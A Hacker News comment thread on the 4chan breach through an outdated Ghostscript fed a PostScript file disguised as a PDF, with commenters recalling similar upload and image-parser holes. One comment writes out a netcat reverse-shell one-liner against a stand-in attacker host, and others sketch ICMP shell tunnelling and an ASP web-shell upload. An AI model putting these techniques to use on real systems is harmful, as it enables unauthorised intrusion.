11 ms·
I did some digging and the hacker posted which exploit he used. Apparently some boards allowed uploading PDF files, but the site never checked if the PDF file
by robotnikman 2y ago
I did some digging and the hacker posted which exploit he used.
Apparently some boards allowed uploading PDF files, but the site never checked if the PDF file was an actual PDF file. Once a PDF file was uploaded it was passed to a version of Ghostscript from 2012 which would generate a thumbnail. So the attacker found an exploit where uploading a PDF with the right PostScript commands could give the attacker shell access.
- lastcobbo 2y agoBobby Tables can’t keep getting away with this
- ranger_danger 2y agoWhy would you say how you did it? Now they can't do it all over again when it comes back /s
- 0x303 2y agoGot a source? Not doubting, just curious.
- robotnikman 2y agosearch through the thread on the site where that attack came from. ctrl+f postscript and you will find the post
- A_D_E_P_T 2y agoHere: https://i.ibb.co/9mWLp4m9/4chanhack.jpg https://i.ibb.co/9mWLp4m9/4chanhack.jpg
- aaron695 2y agoSource: https://www.soyjak.st/soy/thread/10615723.html#:~:text=What%20was%20the%20exploit%20used%3F https://www.soyjak.st/soy/thread/10615723.html#:~:text=What%... Kiwifarms is also discussing, links to code and griefing - https://kiwifarms https://kiwifarms (NSFW/NSFL) .st/threads/soyjak-party-the-sharty.145349/page-1468#post-21102686
- loves_mangoes 2y agoThat checks out. Years ago I noticed a vulnerability through the photography board. You'd upload your pictures, and 4chan would display all the EXIF info next to the post. 4chan's PHP code would offload that task to a well-know, but old and not very actively maintained EXIF library. Of course the thing with EXIF is that each camera vendor has their own proprietary extensions that need to be supported to make users happy. And as you'd expect from a library that parses a bunch of horrible undocumented formats in C, it's a huge insecure mess. Several heap overflows and arbitrary writes all over the place. Heap spray primitives. Lots of user controlled input since you provide your own JPEG. Everything you could want. So I wrote a little PoC out of curiosity. Crafted a little 20kB JPG that would try to allocate several GBs worth of heap spray. I submit my post, and the server dutifully times out. And that's where I'd like to say I finished my PoC and reported the vulnerability, but in fact I got stuck on a reliable ASLR bypass and lost interest (I did send an email about the library, but I don't think it was actively maintained and there was no followup) My impression from this little adventure is that 4chan never really had the maintenance and code quality it needed. Everything still seemed to be the same very old PHP code that leaked years ago (which included this same call to the vulnerable EXIF library). Just with a bunch of extra features hastily grafted and grown organically, but never dealing with the insane amount of technical debt.
- bigfatkitten 2y agoAs far as I can tell, no real maintenance has happened since Poole sold the site a decade ago. Hiroyuki paid for it and then mostly forgot about it.
- doublepg23 2y agoThe current FreeBSD version the hacker displayed was from around the time of the sale so that tracks.
- FMecha 2y agoNishimura for most part become a Japanese public personality - he has wrote for Japanese tabloids and has a YT channel.
- control_del 2y ago[dead]
- qingcharles 2y agoThis is such a common hole. One of my early hacks was a forum that allowed you to upload a pfp but didn't check it was actually an image. Just upload an ASP file which is coded to provide an explorer-like interface. Found the administrator password in a text file. It was "internet" just like that. RDP was open. This was a hosting provider for 4000+ companies. Sent them an email. No thank you for that one. Always check what is getting uploaded.
- Arch-TK 2y agoUploading ASP as an image and having it execute server side is one thing. But in this case, it's subtly different. This issue relies more on a quirk of how PDF and PostScript relate (PDF is built on a subset of postscript). Imagine you had an image format which was just C which when compiled and ran produced the width, height, and then stream of RGB values to form an image. And you formalised this such that it had to have a specific structure so that if someone wanted to, they didn't have to write a C compiler, they could just pull out the key bits from this file which looks like ordinary C and produce the same result. Now imagine that your website supports uploading such image files, and you need to render them to produce a thumbnail, but instead of using a minimal implementation of the standard which doesn't need to compile the code, you go ahead and just run gcc on it and run the output. That's kind of more or less what happened here. It's worth noting here that it's not really common knowledge that PDF is basically just a subset of postscript. So it's actually a bit less surprising that these guys fell for this, as it's as if C had become some weird language nobody talks about, and GCC became known as "that tool to wrangle that image format" rather than a general purpose C compiler. The attackers in this case relied on some ghostscript exploits, that's true, but if you never ran the resulting C-image-format binaries, you could still get pwned through GCC exploits.
- mkl 2y ago> it's not really common knowledge that PDF is basically just a subset of postscript. Because that's not actually true? Check out the table in the PDF specification, Appendix A, p985, listing all the PDF operators and their totally different PostScript equivalents, when there are any: https://opensource.adobe.com/dc-acrobat-sdk-docs/pdfstandards/pdfreference1.7old.pdf https://opensource.adobe.com/dc-acrobat-sdk-docs/pdfstandard... The PDF imaging model is mostly borrowed from PostScript, though PDF's imaging model also supports partial transparency. The actual files themselves are totally different. In this case, no PDF files were involved at all, but a PostScript file renamed to .pdf, which was used to exploit an old insecure GhostScript's PostScript execution engine (PostScript is a programming language, unlike PDF) or maybe parser: > According to S0I1337, it was done by exploiting a vulnerability on 4chan's outdated GhostScript version from 2012 by uploading a malformed PostScript file renamed to PDF to gain arbitrary code execution as 4chan didn't check if files with PDF extensions were actually PDF files -- https://wiki.soyjak.st/Great_Cuckset https://wiki.soyjak.st/Great_Cuckset, see also the image in A_D_E_P_T's comment https://news.ycombinator.com/item?id=43699395 https://news.ycombinator.com/item?id=43699395
- Funes- 2y agoReminds me of how people were crashing the PSP's XMB with BMP and TIFF files twenty years ago. I was just a kid, and began "pirating" every one of my classmates' consoles (some in exchange for a small amount of money). Good times.
- GlumWoodpecker 2y agoThe `Memory Pit` exploit for the Nintendo DSi works in a similar way - it exploits a buffer overflow in the reading of image meta data by the Nintendo DSi Camera application in order to achieve arbitrary code execution. https://dsibrew.org/wiki/Memory_Pit https://dsibrew.org/wiki/Memory_Pit
- profmonocle 2y agoWhen the first-gen iPhone was out there was a TIFF vulnerability so bad that you could jailbreak an iPhone just by visiting a specific web site. I remember going to Best Buy and seeing all of the display phones had been jailbroken. (It was easy to tell - this was before the App Store, so having extra app icons on the home screen wasn't normal.) This was a user-empowering application of the vulnerability. Obviously, a bug that allows root-level arbitrary code execution just by getting the user to load a single image could be used for some pretty bad stuff. (And perhaps was.)
- FMecha 2y ago4chan, ironically enough, had something similar where steganographic images were posted designed to be copied to Paint, saved as a bmp, renamed to an .hta file, and then executed. It would then spam the board with other variations of itself.
- jrochkind1 2y agoThis is an old well known exploit. Don't run versions of ghostscript from 2012?
- profmonocle 2y agoI would also say don't run ghostscript with the same permissions as the web server, especially not if you can just hand it your PDF through stdin and take a PNG through stdout. Sandbox it as much as possible. PDF is a really complex format which means lots of opportunities for buffer overruns and the like. (Edit: Actually, reading through Arch-TK's post above, it sounds like it was much dummer than something like a buffer overrun.)
- donnachangstein 2y ago> Don't run versions of ghostscript from 2012? Per Wikipedia: In February 2013, with version 9.07, Ghostscript changed its license from GPLv3 to GNU AGPL. With the AGPL license being legal kryptonite I wonder if license compatibility drove the decision (and how many other installations of Ghostscript share this concern)?
- duskwuff 2y ago> With the AGPL license being legal kryptonite I wonder if license compatibility drove the decision Unlikely. There's a number of other strong indications that basic maintenance was being neglected, including shell transcripts showing that at least one server was running FreeBSD 10.1 (released in 2014, end-of-life in 2018), and PHP code using the mysql extension (which was deprecated in PHP 5.6 = 2014 and removed in PHP 7.0 = 2015). It's probably not a coincidence that 4chan was sold to a new owner in 2015.
- Yeul 1y agoNot a lot of reputable advertisers want to associate themselves with 4chan I imagine.
- 1oooqooq 2y agouninformed or malicious FUD. agpl is no different than gpl if you're distributing applications. if you host the functionality of the application with improvements then it's rightly so cryptonite and you deserve it.
- casey2 2y agoSuch a useless feature too. There was like 1 or 2 book sharing threads in sci in the last few years and 1 in arts and crafts and 99.9% of people don't even know about it and just use offsite hosts
- areyourllySorry 2y agoeh, there's a lot of neat pdfs on the papercraft and origami board
- xattt 2y ago> could give the attacker shell access. How do these exploits work? Does it open an SSH port somewhere or does it show up as a browser-based terminal?
- ryandrake 2y agoThis is a great question, one I've always wondered. "Shell access" typically requires a terminal to, you know, type stuff in, right?
- giantrobot 2y agoYou can crate a reverse shell with just netcat. On your victim machine, where you can run a command but not necessarily listen on a port you can run something like: nc attacker.ip 9000 | /bin/bash This will reach out to the attacker controlled machine and run an arbitrary payload hosted there. A simple payload would be opening a reverse shell to the attacker controlled machine from the victim. Because it's an outgoing connection it's less likely to be blocked by a firewall. The reverse shell gives you further access to the victim machine and can be entirely scripted. You can then use additional exploits for privilege elevation or just pilfer whatever you've got access to. Note this a super simple demonstration of the concept.
- ryandrake 2y agoThanks for the reply, that was just the level of explanation I was looking for. It wouldn't have even dawned on me to do it that way. I'm obviously not a security researcher.
- nwallin 2y agoUsually the attacker, on their own computer, or some other server they have root on, will open a port and expose it to the internet and listen. The exploit payload will then make an outbound connection to that port. Once it's connected, the exploit will give the attacker's computer shell access. Search terms include 'reverse shell'. It takes the normal client/server architecture and turns it inside out. If you remember FTP and active vs passive, it works like active mode FTP. That's just one way to do it. If the attacker wants to actually listen on an open port on a compromised server that's behind a firewall, look up 'NAT traversal' for like half a dozen ways to do it. One interesting method to get a shell that I read about is (ab)using ICMP echo requests. ICMP echo requests can contain arbitrary bytes as a payload. So the exploit will poll the attacker's IP address with ICMP echo requests. The exploit will have data payloads that have the shell's output. The attacker's server will respond with ICMP echo requests that have whatever the attacker wants to type into the shell. It's kinda janky but it works. Lots of firewalls might block outbound UDP/TCP connections from internal servers that don't need to make outbound connections, or might whitelist the addresses they're allowed to connect to. But they won't block ICMP, either because it's considered harmless or they forgot or they didn't know it needs to be blocked separately with other rules. The point is there's any number of ways to do it, each more clever than the last.
- wnevets 2y ago> Ghostscript from 2012 Has there been a single year since 2012 that didn't include a new ghostscript RCE? Exposing ghostscript to the internet is dangerous.
- skilbjo 2y agopretty interesting discovery if that was the hack. do you know what the legal implications are for this? if the company that owns 4chan finds the identity of the attacker, could they sue him in civil court? or do they send whatever logs they have to the FBI and the FBI would initiate a criminal prosecution? also what is the criminal act here? is it accessing their systems, or is it posting the data that they found "through unauthorised means" on a public channel like twitter? does the "computer fraud and abuse act" apply? like if you found this exploit, and sent it to the company in good faith (ie a "good hacker"), are you free from prosecution? and what is the grey area, like if you found this exploit and then just sat on it for a while (let's say you didn't report it to the company, but let's also say you didn't abuse it, ie leak private data to twitter)
- deleted 2y ago[deleted]
- mmcwilliams 2y agoAssuming US jurisdiction this would pretty clearly be at least one, probably many CFAA violations which are criminal.
- nailer 2y ago> Apparently some boards allowed uploading PDF files Some boards used to allow PDF files to upload too.
- brundolf 2y agoPeriodic reminder that a PDF is a turing-complete script that generates a document and should be treated as foreign code
- deleted 2y ago[deleted]
- fp64 2y agoIf you disable JavaScript, it’s not. PDF removed loops etc from the PostScript it supports
- kriro 2y agoFascinating, that has been the attack vector in a couple of hackthebox like systems I've done over the last couple of years. The easier ones usually just require file name changes, the medium ones intercepting and mimetype change.
- dwedge 2y agoSo the article blaming out of date PHP was off base?
- jofla_net 2y agoSame or similar thing happened to Gitlab. it used some common parsing library that worked on images and perl scripts... you can see where this is going
- bbuerhaus 2y agoInteresting. I published research on this style of attack in 2019 when I found Slack and a few other big websites vulnerable to it. In their cases, LibreOffice was passing the files off to specific parsers based on magic headers rather than file extensions. https://buer.haus/2019/10/18/a-tale-of-exploitation-in-spreadsheet-file-conversions/ https://buer.haus/2019/10/18/a-tale-of-exploitation-in-sprea... We published a PoC for file write as part of our research and bug bounty submissions: https://gist.github.com/ziot/fb96e97baae59e3539ac3cdacbd09430 https://gist.github.com/ziot/fb96e97baae59e3539ac3cdacbd0943...